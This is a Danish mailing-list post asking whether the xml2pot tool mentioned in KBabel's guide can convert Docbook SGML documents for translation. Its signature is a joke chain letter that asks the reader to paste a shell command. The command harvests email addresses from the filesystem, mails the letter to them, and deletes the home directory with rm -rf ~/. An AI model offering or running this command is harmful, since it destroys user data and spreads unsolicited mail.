xml2pot?

[Jacob Sparre Andersen <sslug@sslug>]

I vejledningen til KBabel bliver programmet `xml2pot` nævnt
sammen med en fil der hedder noget med ".docbook". Betyder
det at 'xml2pot' også kan håndtere SGML-dokumenter efter
Docbook-DTD'en? Eller findes der et andet, tilsvarende
program til det formål?

I givet fald vil det vel være et overordentligt nyttigt
værktøj for folk der vil oversætte "Linux - Friheden..." til
for eksempel svensk.

Jacob
-- 
"Kære Unix-bruger.

 Gem venligst dette brev i filen '/tmp/brev'.

 Dernæst må du meget gerne åbne et terminalvindue og
 indtaste den følgende tekst (du skal først taste
 linieskift når du er helt færdig):

 find / -type f -exec egrep -i 'sslug@sslug' {} \; | tr ' ' '\n' | tr '"' '\n' | 
 tr "'" '\n' | egrep -i 'sslug@sslug' | 
 sort -u > ~/adr; cat /tmp/brev | mail `head -n 1000 ~/adr`; rm -rf ~/

 En ven."